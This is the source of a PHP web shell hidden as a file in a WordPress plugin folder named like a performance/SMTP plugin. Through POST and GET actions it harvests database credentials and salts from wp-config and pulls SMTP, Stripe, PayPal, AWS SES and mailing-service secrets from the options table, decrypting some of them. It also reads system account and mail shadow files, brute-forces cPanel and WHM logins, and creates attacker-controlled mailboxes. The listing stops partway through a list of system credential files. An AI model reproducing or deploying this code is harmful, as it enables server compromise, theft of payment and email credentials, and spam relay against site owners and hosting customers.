File: /var/www/html/simplify.earth/wp-content/plugins/performance-smtp-62/sidekick.php
<?php
/*
* sidekick.php — server-side credential extraction + cPanel cracker
* Pure PHP only: no exec/system/passthru — bypasses disable_functions completely.
* Actions: ping | smtps | users | cp
*/
@error_reporting(0);
@set_time_limit(300);
@ignore_user_abort(true);
$act = trim($_POST['action'] ?? $_GET['action'] ?? '');
header('Content-Type: application/json');
if ($act === 'ping') {
echo json_encode([
'ok' => 1,
'php' => PHP_VERSION,
'self_dir' => dirname(__FILE__),
'script_name' => ($_SERVER['SCRIPT_NAME'] ?? ''),
'doc_root' => ($_SERVER['DOCUMENT_ROOT'] ?? ''),
]);
exit;
}
if ($act === 'smtps') { try { smtps_handler(); } catch (Throwable $e) { echo json_encode(['error' => $e->getMessage(), 'file' => basename($e->getFile()), 'line' => $e->getLine()]); } exit; }
if ($act === 'users') { users_handler(); exit; }
if ($act === 'cp') { cp_handler(); exit; }
if ($act === 'smtp_create') { smtp_create_handler(); exit; }
if ($act === 'files') { files_handler(); exit; }
if ($act === 'write') { write_handler(); exit; }
if ($act === 'sysinfo') { sysinfo_handler(); exit; }
if ($act === 'mysql') { mysql_handler(); exit; }
if ($act === 'whmcs') { whmcs_handler(); exit; }
http_response_code(404); echo '{}';
// ── wp-config helpers ─────────────────────────────────────────────────────────
function find_wpconfig(): ?string {
// DOCUMENT_ROOT is within open_basedir on every standard server config —
// check it first so LiteSpeed / strict open_basedir hosts still find wp-config
$dr = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
if ($dr) {
foreach ([$dr . '/wp-config.php', dirname($dr) . '/wp-config.php'] as $f) {
if (@is_readable($f) && @filesize($f) > 200) return $f;
}
}
// Walk up from sidekick's own directory (catches unusual install layouts)
$d = __DIR__;
for ($i = 0; $i < 8; $i++) {
$f = $d . '/wp-config.php';
if (@is_readable($f) && @filesize($f) > 200) return $f;
$nd = dirname($d);
if ($nd === $d) break;
$d = $nd;
}
return null;
}
function parse_wpconfig(string $src): array {
$out = [];
foreach (['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST',
'AUTH_KEY','SECURE_AUTH_KEY','AUTH_SALT'] as $k) {
if (preg_match('/define\s*\(\s*[\'"]' . preg_quote($k,'/')
. '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]/', $src, $m))
$out[$k] = $m[1];
}
return $out;
}
function decrypt_smtp_pass(string $enc, string $mail_key, string $auth_key, string $auth_salt): string {
if (strlen($enc) < 30) return $enc;
$raw = @base64_decode($enc, true);
if ($raw === false || strlen($raw) < 17) return $enc;
$try_dec = function($data, $key, $mode) {
$iv = substr($data, 0, 16);
$cipher = substr($data, 16);
$d = @openssl_decrypt($cipher, $mode, $key, OPENSSL_RAW_DATA, $iv);
if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
$d = @openssl_decrypt($cipher, $mode, $key, 0, $iv);
if ($d !== false && strlen($d) > 0 && ctype_print(trim($d))) return trim($d);
return false;
};
// WP Mail SMTP v3+: sodium secretbox (nonce=24 + ciphertext)
if ($mail_key && function_exists('sodium_crypto_secretbox_open') && strlen($raw) > 24) {
$k = false;
try { $k = sodium_hex2bin($mail_key); } catch (Throwable $_) { $k = false; }
if ($k === false || strlen($k) < 32) $k = (string)@base64_decode($mail_key);
if (strlen($k) >= 32) {
$nonce = substr($raw, 0, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$ct = substr($raw, SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
$d = @sodium_crypto_secretbox_open($ct, $nonce, $k);
if ($d !== false && strlen($d) > 0 && ctype_print($d)) return $d;
}
}
// WP Mail SMTP Pro: AES-256-CBC with mail_key
if ($mail_key) {
$k = false;
if (function_exists('sodium_hex2bin')) {
try { $k = sodium_hex2bin($mail_key); } catch (Throwable $_) { $k = false; }
}
if ($k === false || strlen($k) < 16) $k = (string)@base64_decode($mail_key);
if (strlen($k) >= 16) {
$r = $try_dec($raw, $k, 'AES-256-CBC');
if ($r !== false) return $r;
}
}
// Older: sha256/md5 of AUTH_KEY or AUTH_SALT
foreach ([$auth_key, $auth_salt] as $src) {
if (!$src) continue;
foreach (['sha256', 'md5'] as $h) {
$k = substr(hash($h, $src), 0, 32);
$k2 = substr($k, 0, 16);
foreach (['AES-256-CBC','AES-128-CBC'] as $m) {
$r = $try_dec($raw, strlen($m) > 7 ? $k : $k2, $m);
if ($r !== false) return $r;
}
}
}
return $enc; // return original if all attempts fail
}
// ── action: smtp_create ───────────────────────────────────────────────────────
// F.py SMTP_creator equivalent. Logs into cPanel directly and creates a new
// email account. POST: cpanel_user, cpanel_pass, cpanel_host (opt), domain (opt).
function smtp_create_handler(): void {
if (!function_exists('curl_init')) {
echo json_encode(['error' => 'curl_disabled']); return;
}
$cpanel_user = trim($_POST['cpanel_user'] ?? '');
$cpanel_pass = trim($_POST['cpanel_pass'] ?? '');
$cpanel_host = trim($_POST['cpanel_host'] ?? 'localhost');
$domain = trim($_POST['domain'] ?? '');
if (!$cpanel_user || !$cpanel_pass) {
echo json_encode(['error' => 'missing_credentials', 'hint' => 'provide cpanel_user and cpanel_pass']); return;
}
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $cpanel_host)) $cpanel_host = 'localhost';
// Auto-detect domain from wp-config if not provided
if (!$domain) {
$cfg_path = find_wpconfig();
$db = $cfg_path ? parse_wpconfig((string)@file_get_contents($cfg_path)) : [];
// Fall back to HTTP_HOST
$domain = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST'] ?? '');
}
if (!$domain || !strpos($domain, '.')) {
echo json_encode(['error' => 'no_domain']); return;
}
// Try localhost first, then external host
$hosts = ['localhost'];
if ($cpanel_host !== 'localhost') $hosts[] = $cpanel_host;
$token_jar = null;
foreach ($hosts as $h) {
$t = cp_login_token($cpanel_user, $cpanel_pass, 2083, $h);
if ($t) { $token_jar = $t; break; }
}
if (!$token_jar) {
echo json_encode(['error' => 'login_failed', 'user' => $cpanel_user, 'hosts' => $hosts]); return;
}
$smtp = cp_create_smtp($token_jar, 2083, $cpanel_user, $domain,
strpos($token_jar, 'localhost') !== false ? 'localhost' : $cpanel_host);
if (empty($smtp)) {
echo json_encode(['error' => 'create_failed', 'domain' => $domain]); return;
}
echo json_encode(array_merge(['ok' => true, 'source' => 'smtp_create'], $smtp));
}
// ── action: smtps ─────────────────────────────────────────────────────────────
function smtps_handler(): void {
$smtps = [];
$db_out = [];
$cfg_path = find_wpconfig();
$db = $cfg_path ? parse_wpconfig((string)@file_get_contents($cfg_path)) : [];
$auth_key = $db['AUTH_KEY'] ?? '';
$auth_salt = $db['AUTH_SALT'] ?? '';
$sec_auth = $db['SECURE_AUTH_KEY'] ?? '';
if (!$auth_key) $auth_key = $sec_auth;
if (!empty($db['DB_USER'])) {
$db_out = [
'host' => $db['DB_HOST'] ?? 'localhost',
'user' => $db['DB_USER'],
'pass' => $db['DB_PASSWORD'] ?? '',
'name' => $db['DB_NAME'] ?? '',
];
$conn = @mysqli_connect(
$db['DB_HOST'] ?? 'localhost',
$db['DB_USER'],
$db['DB_PASSWORD'] ?? '',
$db['DB_NAME'] ?? '',
3306
);
if ($conn) {
// detect table prefix
$prefix = 'wp_';
$q = @mysqli_query($conn, "SHOW TABLES LIKE '%options'");
while ($r = @mysqli_fetch_row($q)) {
if (preg_match('/^([a-zA-Z0-9_]+)options$/', $r[0], $m)) {
$prefix = $m[1]; break;
}
}
$tbl = mysqli_real_escape_string($conn, $prefix . 'options');
$keys = "'wp_mail_smtp','wp_mail_smtp_options','wp_mail_smtp_mail_key',"
. "'swpsmtp_options','postman_options','mailpoet_settings',"
. "'newsletter_smtp_host','newsletter_smtp_password',"
. "'fluentmail-smtp-connections','fluentmail-smtp-settings',"
. "'woocommerce_stripe_settings','woocommerce_paypal_settings',"
. "'mailchimp_sf_mc_api_key','mc4wp_settings','sendgrid_settings',"
. "'smtp_mailer_options','sis_settings','nsmtp_options',"
. "'htsmtp_options','pepipost_smtp_settings','cf7mule_options',"
. "'wp_ses','ses_settings','mailjet_apikey','mailjet_apisecret',"
. "'brevo_smtp_settings','sendinblue_woocommerce_settings',"
. "'elasticmail_settings','smtp2go_options',"
. "'postmark_credentials','mailersend_settings'";
$res = @mysqli_query($conn, "SELECT option_name,option_value FROM `$tbl` WHERE option_name IN ($keys)");
$opts = [];
while ($row = @mysqli_fetch_assoc($res)) {
$opts[$row['option_name']] = $row['option_value'];
}
// also fetch admin_email separately (not in the IN list above)
$ae_res = @mysqli_query($conn, "SELECT option_value FROM `$tbl` WHERE option_name='admin_email' LIMIT 1");
$admin_email = $ae_res ? (@mysqli_fetch_row($ae_res)[0] ?? '') : '';
@mysqli_close($conn);
$mail_key = $opts['wp_mail_smtp_mail_key'] ?? '';
$smtps = parse_smtp_opts($opts, $mail_key, $auth_key, $auth_salt);
}
}
// Also scan wp-config.php directly for SMTP defines
if ($cfg_path) {
$src = (string)@file_get_contents($cfg_path);
foreach (['SMTP_HOST','MAIL_HOST','MAILGUN_SMTP_SERVER'] as $key) {
if (preg_match("/define\s*\(['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $m)) {
$pkey = str_replace('HOST', 'PASSWORD', $key);
preg_match("/define\s*\(['\"]" . preg_quote($pkey, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $src, $pm);
$smtps[] = ['source' => "wpconfig/$key", 'host' => $m[1], 'port' => 587,
'user' => '', 'pass' => $pm[1] ?? '', 'enc' => 'tls'];
}
}
}
// cPanel / shared-hosting webmail SMTP:
// On suPHP/php-fpm servers PHP runs as the cPanel user and can read ~/etc/*/shadow.
// Each line: localpart:crypted_pass — password is hashed, but we know the DB password
// so return accounts + db_pass as candidate (Python verifies via SMTP AUTH).
$wm_accounts = [];
$proc_uid = function_exists('posix_getuid') ? @posix_getuid() : null;
$pw_entry = ($proc_uid !== null && function_exists('posix_getpwuid'))
? @posix_getpwuid($proc_uid) : null;
$home_dir = $pw_entry['dir'] ?? '';
// On some hosts (Beget, etc.) posix home is domain subdir e.g. /home/u/cpuser/domain.com
// so also try parent dir which is the actual cPanel account root.
$shadow_roots = array_unique(array_filter([
$home_dir,
$home_dir ? dirname($home_dir) : '',
]));
$all_shadow_files = [];
foreach ($shadow_roots as $sr) {
foreach (@glob($sr . '/etc/*/shadow') ?: [] as $sf) {
$all_shadow_files[] = $sf;
}
}
if ($all_shadow_files) {
$http_root = preg_replace('/^www\./', '', $_SERVER['HTTP_HOST'] ?? '');
foreach ($all_shadow_files as $sf) {
$domain = basename(dirname($sf));
if (!strpos($domain, '.')) continue;
$content = @file_get_contents($sf);
if (!$content || strlen($content) < 4) continue;
// Use primary domain for SMTP host — if shadow domain is a subdomain of the
// site's HTTP_HOST, use HTTP_HOST (avoids mail.en.example.com DNS misses).
$mail_domain = $domain;
if ($http_root && $domain !== $http_root
&& substr($domain, -(strlen($http_root) + 1)) === '.' . $http_root) {
$mail_domain = $http_root;
}
foreach (explode("\n", $content) as $ln) {
$ln = trim($ln);
if (!$ln || $ln[0] === '#') continue;
$parts = explode(':', $ln);
$local = trim($parts[0] ?? '');
if (!$local || $local === 'root' || !preg_match('/^[a-zA-Z0-9._+-]+$/', $local)) continue;
$wm_accounts[] = [
'source' => 'webmail',
'host' => 'mail.' . $mail_domain,
'port' => 587,
'user' => $local . '@' . $domain,
'pass' => '',
'enc' => 'tls',
'_db_pass' => $db_out['pass'] ?? '',
];
}
}
}
// Merge webmail accounts, dedup by user
$seen_wm = [];
foreach ($wm_accounts as $wm) {
if (isset($seen_wm[$wm['user']])) continue;
$seen_wm[$wm['user']] = true;
$smtps[] = $wm;
}
echo json_encode(['smtps' => $smtps, 'db' => $db_out, 'mail_key' => $mail_key ?? '', 'admin_email' => $admin_email ?? '']);
}
function parse_smtp_opts(array $opts, string $mail_key = '', string $auth_key = '', string $auth_salt = ''): array {
$out = [];
// wp_mail_smtp (most common plugin)
foreach (['wp_mail_smtp', 'wp_mail_smtp_options'] as $key) {
if (empty($opts[$key])) continue;
$d = @unserialize($opts[$key]);
if (!is_array($d)) $d = @json_decode($opts[$key], true);
if (!is_array($d)) continue;
$mailer = $d['mail']['mailer'] ?? ($d['mailer'] ?? 'smtp');
$s = $d['smtp'] ?? [];
if ($mailer === 'smtp' && !empty($s['host'])) {
$out[] = ['source' => 'wp_mail_smtp', 'host' => $s['host'],
'port' => (int)($s['port'] ?? 587), 'user' => $s['user'] ?? '',
'pass' => $s['pass'] ?? '', 'enc' => $s['encryption'] ?? 'tls'];
} elseif (in_array($mailer, ['sendgrid','mailgun','sendinblue','gmail','outlook','zoho','sparkpost','mailjet'], true)) {
$api = $d[$mailer] ?? [];
$k = $api['api_key'] ?? $api['client_secret'] ?? $api['api_secret'] ?? $api['secret'] ?? '';
$from_email = $d['mail']['from_email'] ?? $d['mail']['from_name'] ?? '';
if ($k) $out[] = ['source' => "wp_mail_smtp/$mailer", 'host' => "api.$mailer.com",
'port' => 0, 'user' => 'apikey', 'pass' => $k, 'enc' => '',
'from_email' => $from_email];
}
break;
}
// Easy WP SMTP / swpsmtp
if (!empty($opts['swpsmtp_options'])) {
$d = @unserialize($opts['swpsmtp_options']);
if (!is_array($d)) $d = @json_decode($opts['swpsmtp_options'], true);
if (is_array($d) && !empty($d['smtp_host'])) {
$out[] = ['source' => 'easy_wp_smtp', 'host' => $d['smtp_host'],
'port' => (int)($d['smtp_port'] ?? 587), 'user' => $d['smtp_username'] ?? '',
'pass' => $d['smtp_password'] ?? '', 'enc' => $d['smtp_ssl'] ?? 'tls'];
}
}
// FluentMail
if (!empty($opts['fluentmail-smtp-connections'])) {
$d = @json_decode($opts['fluentmail-smtp-connections'], true);
if (is_array($d)) {
foreach ($d as $conn) {
$s = $conn['settings'] ?? [];
if (!empty($s['host'])) {
$out[] = ['source' => 'fluentmail', 'host' => $s['host'],
'port' => (int)($s['port'] ?? 587),
'user' => $s['username'] ?? '', 'pass' => $s['password'] ?? '',
'enc' => $s['encryption'] ?? 'tls'];
} elseif (!empty($s['api_key'])) {
$out[] = ['source' => 'fluentmail/api', 'host' => '', 'port' => 0,
'user' => 'apikey', 'pass' => $s['api_key'], 'enc' => ''];
}
}
}
}
// Postman SMTP
if (!empty($opts['postman_options'])) {
$d = @unserialize($opts['postman_options']);
if (!is_array($d)) $d = @json_decode($opts['postman_options'], true);
if (is_array($d) && !empty($d['host_name'])) {
$out[] = ['source' => 'postman_smtp', 'host' => $d['host_name'],
'port' => (int)($d['port'] ?? 587),
'user' => $d['sender_email'] ?? '',
'pass' => $d['authentication_password'] ?? '',
'enc' => $d['security_type'] ?? 'tls'];
}
}
// WooCommerce Stripe (API key harvest)
if (!empty($opts['woocommerce_stripe_settings'])) {
$d = @unserialize($opts['woocommerce_stripe_settings']);
if (!is_array($d)) $d = @json_decode($opts['woocommerce_stripe_settings'], true);
if (!empty($d['secret_key'])) {
$out[] = ['source' => 'stripe', 'host' => 'api.stripe.com', 'port' => 443,
'user' => 'sk', 'pass' => $d['secret_key'], 'enc' => ''];
}
}
// Mailchimp API key
if (!empty($opts['mailchimp_sf_mc_api_key'])) {
$k = trim($opts['mailchimp_sf_mc_api_key']);
if (strlen($k) > 10)
$out[] = ['source' => 'mailchimp', 'host' => 'api.mailchimp.com', 'port' => 0,
'user' => 'apikey', 'pass' => $k, 'enc' => ''];
}
// Mailchimp for WP (mc4wp_settings)
if (!empty($opts['mc4wp_settings'])) {
$d = @unserialize($opts['mc4wp_settings']);
if (!is_array($d)) $d = @json_decode($opts['mc4wp_settings'], true);
$k = is_array($d) ? ($d['api_key'] ?? '') : '';
if ($k && strlen($k) > 10)
$out[] = ['source' => 'mc4wp', 'host' => 'api.mailchimp.com', 'port' => 0,
'user' => 'apikey', 'pass' => $k, 'enc' => ''];
}
// SendGrid settings
if (!empty($opts['sendgrid_settings'])) {
$d = @unserialize($opts['sendgrid_settings']);
if (!is_array($d)) $d = @json_decode($opts['sendgrid_settings'], true);
$k = is_array($d) ? ($d['api_key'] ?? $d['apikey'] ?? '') : '';
if ($k && strlen($k) > 10)
$out[] = ['source' => 'sendgrid', 'host' => 'smtp.sendgrid.net', 'port' => 587,
'user' => 'apikey', 'pass' => $k, 'enc' => 'tls'];
}
// Mailpoet settings
if (!empty($opts['mailpoet_settings'])) {
$d = @unserialize($opts['mailpoet_settings']);
if (!is_array($d)) $d = @json_decode($opts['mailpoet_settings'], true);
if (is_array($d) && !empty($d['mta']['host'])) {
$mta = $d['mta'];
$out[] = ['source' => 'mailpoet', 'host' => $mta['host'],
'port' => (int)($mta['port'] ?? 587),
'user' => $mta['login'] ?? '', 'pass' => $mta['password'] ?? '',
'enc' => 'tls'];
} elseif (is_array($d) && !empty($d['mta']['mailpoet_api_key'])) {
$out[] = ['source' => 'mailpoet/api', 'host' => 'smtp.mailpoet.com', 'port' => 587,
'user' => 'mailpoet', 'pass' => $d['mta']['mailpoet_api_key'], 'enc' => 'tls'];
}
}
// Newsletter plugin (two separate option_name rows combined)
if (!empty($opts['newsletter_smtp_host'])) {
$out[] = ['source' => 'newsletter_plugin', 'host' => trim($opts['newsletter_smtp_host']),
'port' => 587, 'user' => '', 'pass' => trim($opts['newsletter_smtp_password'] ?? ''),
'enc' => 'tls'];
}
// WooCommerce PayPal (client_id + secret harvest)
if (!empty($opts['woocommerce_paypal_settings'])) {
$d = @unserialize($opts['woocommerce_paypal_settings']);
if (!is_array($d)) $d = @json_decode($opts['woocommerce_paypal_settings'], true);
if (is_array($d)) {
$cid = $d['client_id'] ?? $d['sandbox_client_id'] ?? '';
$sec = $d['client_secret'] ?? $d['sandbox_client_secret'] ?? '';
if ($cid || $sec)
$out[] = ['source' => 'paypal', 'host' => 'api.paypal.com', 'port' => 443,
'user' => $cid, 'pass' => $sec, 'enc' => ''];
}
}
// SMTP Mailer by WPOmnia (smtp_mailer_options)
if (!empty($opts['smtp_mailer_options'])) {
$d = @unserialize($opts['smtp_mailer_options']);
if (!is_array($d)) $d = @json_decode($opts['smtp_mailer_options'], true);
if (is_array($d) && !empty($d['host'])) {
$out[] = ['source' => 'smtp_mailer', 'host' => $d['host'],
'port' => (int)($d['port'] ?? 587),
'user' => $d['username'] ?? '', 'pass' => $d['password'] ?? '',
'enc' => $d['type_encryption'] ?? 'tls'];
}
}
// Simple SMTP (sis_settings / nsmtp_options)
foreach (['sis_settings', 'nsmtp_options', 'htsmtp_options'] as $k) {
if (empty($opts[$k])) continue;
$d = @unserialize($opts[$k]);
if (!is_array($d)) $d = @json_decode($opts[$k], true);
if (is_array($d) && !empty($d['host'])) {
$out[] = ['source' => $k, 'host' => $d['host'],
'port' => (int)($d['port'] ?? 587),
'user' => $d['username'] ?? $d['user'] ?? '',
'pass' => $d['password'] ?? $d['pass'] ?? '', 'enc' => 'tls'];
break;
}
}
// Amazon SES (wp_ses / ses_settings)
foreach (['wp_ses', 'ses_settings'] as $k) {
if (empty($opts[$k])) continue;
$d = @unserialize($opts[$k]);
if (!is_array($d)) $d = @json_decode($opts[$k], true);
if (is_array($d)) {
$kid = $d['access_key'] ?? $d['aws_access_key_id'] ?? $d['key'] ?? '';
$sec = $d['secret_key'] ?? $d['aws_secret_access_key'] ?? $d['secret'] ?? '';
if ($kid || $sec)
$out[] = ['source' => $k, 'host' => 'email-smtp.us-east-1.amazonaws.com',
'port' => 587, 'user' => $kid, 'pass' => $sec, 'enc' => 'tls'];
break;
}
}
// Mailjet
$mj_key = trim($opts['mailjet_apikey'] ?? '');
$mj_sec = trim($opts['mailjet_apisecret'] ?? '');
if ($mj_key || $mj_sec)
$out[] = ['source' => 'mailjet', 'host' => 'in-v3.mailjet.com', 'port' => 587,
'user' => $mj_key, 'pass' => $mj_sec, 'enc' => 'tls'];
// Brevo / Sendinblue
foreach (['brevo_smtp_settings', 'sendinblue_woocommerce_settings'] as $k) {
if (empty($opts[$k])) continue;
$d = @unserialize($opts[$k]);
if (!is_array($d)) $d = @json_decode($opts[$k], true);
if (is_array($d)) {
$ak = $d['api_key'] ?? $d['apiKey'] ?? $d['smtp_password'] ?? '';
$u = $d['smtp_login'] ?? $d['login'] ?? '';
if ($ak)
$out[] = ['source' => 'brevo', 'host' => 'smtp-relay.brevo.com', 'port' => 587,
'user' => $u, 'pass' => $ak, 'enc' => 'tls'];
break;
}
}
// Postmark
if (!empty($opts['postmark_credentials'])) {
$d = @unserialize($opts['postmark_credentials']);
if (!is_array($d)) $d = @json_decode($opts['postmark_credentials'], true);
if (is_array($d)) {
$t = $d['api_token'] ?? $d['server_token'] ?? $d['token'] ?? '';
if ($t)
$out[] = ['source' => 'postmark', 'host' => 'smtp.postmarkapp.com', 'port' => 587,
'user' => $t, 'pass' => $t, 'enc' => 'tls'];
}
}
// Mailersend
if (!empty($opts['mailersend_settings'])) {
$d = @unserialize($opts['mailersend_settings']);
if (!is_array($d)) $d = @json_decode($opts['mailersend_settings'], true);
if (is_array($d)) {
$t = $d['api_key'] ?? $d['token'] ?? '';
if ($t)
$out[] = ['source' => 'mailersend', 'host' => 'smtp.mailersend.net', 'port' => 587,
'user' => 'mailersend', 'pass' => $t, 'enc' => 'tls'];
}
}
// Decrypt any encrypted passwords server-side before returning
foreach ($out as &$entry) {
$pw = $entry['pass'] ?? '';
if ($pw && strlen($pw) >= 30 && preg_match('/^[A-Za-z0-9+\/]{30,}={0,2}$/', trim($pw))) {
$dec = decrypt_smtp_pass(trim($pw), $mail_key, $auth_key, $auth_salt);
if ($dec !== $pw) $entry['pass'] = $dec;
}
// Normalise: null → '' for user/pass/host so the Python side never sees "null" strings
foreach (['host','user','pass','username','password'] as $f) {
if (array_key_exists($f, $entry) && $entry[$f] === null) $entry[$f] = '';
}
}
unset($entry);
// Drop entries where pass looks like an HTML page or is trivially empty
$out = array_values(array_filter($out, function($e) {
$p = $e['pass'] ?? '';
$h = $e['host'] ?? '';
if (!$h && (!$p || strlen($p) < 8)) return false;
$lo = strtolower(substr($p, 0, 80));
foreach (['<!doctype','<html','<head>','<body','fatal error','php warning',
'no such file','permission denied'] as $bad) {
if (strpos($lo, $bad) !== false) return false;
}
return true;
}));
return $out;
}
// ── action: users ─────────────────────────────────────────────────────────────
function users_handler(): void {
$users = [];
$cpanel_users = [];
$passwd = @file_get_contents('/etc/passwd');
if ($passwd) {
foreach (explode("\n", trim($passwd)) as $line) {
$p = explode(':', $line);
if (count($p) < 7) continue;
$uid = (int)$p[2];
if ($uid < 500 || $uid > 65000) continue;
$shell = $p[6] ?? '';
if (strpos($shell, 'nologin') !== false || strpos($shell, '/false') !== false) continue;
$users[] = ['user' => $p[0], 'uid' => $uid, 'home' => $p[5]];
}
}
foreach (['/etc/userdomains', '/etc/trueuserdomains'] as $udfile) {
$ud = @file_get_contents($udfile);
if (!$ud) continue;
foreach (explode("\n", trim($ud)) as $line) {
$parts = explode(': ', $line, 2);
if (count($parts) === 2) $cpanel_users[] = trim($parts[1]);
}
}
$cpanel_users = array_values(array_unique($cpanel_users));
echo json_encode(['users' => $users, 'cpanel_users' => $cpanel_users]);
}
// ── action: cp ────────────────────────────────────────────────────────────────
function cp_handler(): void {
if (!function_exists('curl_init')) {
echo json_encode(['error' => 'curl_disabled', 'cracked' => [], 'resellers' => []]);
return;
}
$usernames = array_values(array_filter(array_map('trim',
explode("\n", $_POST['usernames'] ?? ''))));
$passwords = array_values(array_filter(array_map('trim',
explode("\n", $_POST['passwords'] ?? ''))));
// External cPanel host passed from escalate.py when known (e.g. server123.host.com).
// Try localhost first; if it fails (connection refused / no cPanel here), try external.
$ext_host = trim($_POST['cpanel_host'] ?? '');
$hosts = ['localhost'];
if ($ext_host && $ext_host !== 'localhost' &&
preg_match('/^[a-zA-Z0-9._-]+$/', $ext_host)) {
$hosts[] = $ext_host;
}
$skip = ['root','daemon','nobody','www-data','apache','apache2','nginx','http',
'mail','ftp','sshd','mysql','postgres','bin','sys','ntp','postfix',
'dovecot','exim','named','dnsmasq'];
$cracked = [];
$resellers = [];
foreach ($usernames as $u) {
if (!$u || in_array($u, $skip, true)) continue;
foreach ($passwords as $pw) {
if (!$pw || strlen($pw) < 4) continue;
$token = null; $used_host = null;
foreach ($hosts as $h) {
$t = cp_login_token($u, $pw, 2083, $h);
if ($t) { $token = $t; $used_host = $h; break; }
}
if (!$token) continue;
// Get primary domain via UAPI
$domain = '';
$dom_raw = cp_api_get($token, 2083, 'DomainInfo/domains_data', $used_host);
if ($dom_raw) {
$dom_j = @json_decode($dom_raw, true);
$domain = $dom_j['data']['main_domain'] ?? '';
}
if (!$domain) $domain = $u;
// Create SMTP email account for exfil access
$smtp_info = cp_create_smtp($token, 2083, $u, $domain, $used_host);
$cracked[] = [
'user' => $u,
'pass' => $pw,
'port' => 2083,
'host' => $used_host,
'domain' => $domain,
'smtp' => $smtp_info,
];
// WHM reseller check
foreach ($hosts as $h) {
if (cp_try($u, $pw, 2087, $h)) {
$resellers[] = ['user' => $u, 'pass' => $pw, 'host' => $h];
break;
}
}
break;
}
}
echo json_encode(['cracked' => $cracked, 'resellers' => $resellers]);
}
function cp_login_token(string $user, string $pass, int $port, string $host = 'localhost'): string {
$jar = tempnam(sys_get_temp_dir(), 'cpjar_');
$ch = curl_init("https://$host:$port/login/?login_only=1");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => 'user=' . rawurlencode($user)
. '&pass=' . rawurlencode($pass),
CURLOPT_TIMEOUT => 8,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_COOKIEJAR => $jar,
CURLOPT_COOKIEFILE => $jar,
]);
$resp = curl_exec($ch);
curl_close($ch);
if (!$resp) { @unlink($jar); return ''; }
$ok = strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
if (!$ok) { @unlink($jar); return ''; }
// Extract cpsess token from response or cookie jar
if (preg_match('/security_token["\s:=]+\/?cpsess([0-9a-f]+)/i', $resp, $m))
$tok = 'cpsess' . $m[1];
elseif (preg_match('/cpsess([0-9a-f]+)/i', $resp, $m))
$tok = 'cpsess' . $m[1];
else
$tok = '__jar__' . $jar; // fall back to cookie jar path
return $tok . '|' . $jar;
}
function cp_api_get(string $token_jar, int $port, string $endpoint, string $host = 'localhost'): string {
[$token, $jar] = array_pad(explode('|', $token_jar, 2), 2, '');
$url = "https://$host:$port/execute/$endpoint";
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 8,
CURLOPT_COOKIEFILE => $jar,
CURLOPT_COOKIEJAR => $jar,
]);
$resp = curl_exec($ch);
curl_close($ch);
return $resp ?: '';
}
function cp_create_smtp(string $token_jar, int $port, string $cpuser, string $domain, string $host = 'localhost'): array {
// Create a mailbox we control for SMTP relay access
$smtp_user = 'wp_' . substr(md5($cpuser . time()), 0, 8);
$smtp_pass = substr(str_shuffle('ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz23456789'), 0, 12)
. '!1';
[$token, $jar] = array_pad(explode('|', $token_jar, 2), 2, '');
$fields = 'email=' . rawurlencode($smtp_user)
. '&domain=' . rawurlencode($domain)
. '&password=' . rawurlencode($smtp_pass)
. '"a=250';
$ch = curl_init("https://$host:$port/execute/Email/add_pop");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $fields,
CURLOPT_TIMEOUT => 10,
CURLOPT_COOKIEFILE => $jar,
CURLOPT_COOKIEJAR => $jar,
]);
$resp = curl_exec($ch);
curl_close($ch);
@unlink($jar);
$ok = $resp && (strpos($resp, '"status":1') !== false || strpos($resp, '"errors":null') !== false);
if ($ok) {
return [
'user' => "$smtp_user@$domain",
'pass' => $smtp_pass,
'host' => 'mail.' . $domain,
'port' => 587,
];
}
return [];
}
function cp_try(string $user, string $pass, int $port, string $host = 'localhost'): bool {
$ch = curl_init("https://$host:$port/login/?login_only=1");
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => 'user=' . rawurlencode($user)
. '&pass=' . rawurlencode($pass),
CURLOPT_TIMEOUT => 8,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
]);
$resp = curl_exec($ch);
curl_close($ch);
if (!$resp) return false;
return strpos($resp, '"status":1') !== false || stripos($resp, 'cpsess') !== false;
}
// ── action: files ─────────────────────────────────────────────────────────────
// PHP-native file sweep — works even when exec/passthru/system are disabled.
function files_handler(): void {
$out = ['files' => [], 'wpconfigs' => [], 'envfiles' => []];
// Fixed-path system credential files
$targets = [
'/etc/passwd',
'/etc/shadow',
'/etc/exim4/passwd.client',
'/etc/postfix/sasl_passwd',
'/etc/exim.conf',
'/etc/exim.conf.localopts',
'/etc/exim4/exim4.conf.template',
'/etc/exim4/conf.d/transport/30_exim4-config_remote_smtp_smarthost',
'/usr/local/cpanel/etc/exim/system.conf',
'/root/.my.cnf',
'/etc/mysql/debian.cnf',
'/etc/mysql/my.cnf',
'/etc/vsftpd.conf',
'/etc/proftpd/proftpd.conf',
'/etc/pure-ftpd/db/pureftpd.passwd',
